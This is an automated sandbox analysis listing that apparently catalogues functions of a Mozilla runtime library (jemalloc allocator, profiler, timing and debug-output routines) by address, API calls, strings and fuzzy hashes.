Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvinit.dll, xrefs: 6C994479
nvd3d9wrap.dll, xrefs: 6C994466

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_CRASH(), xrefs: 6C970CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Time entry, xrefs: 6C9A5CB6
data, xrefs: 6C9A6131
expected a Count entry, xrefs: 6C9A5AC3
name, xrefs: 6C9A5E79, 6C9A5E8F
schema, xrefs: 6C9A606D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

set , xrefs: 6C9A36EC
get , xrefs: 6C9A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C998280, 6C9983E1
(pre-xul), xrefs: 6C997E88
name, xrefs: 6C997ECF, 6C998335
schema, xrefs: 6C9981E3, 6C998311

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C953508
kernel32.dll, xrefs: 6C9534EA

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
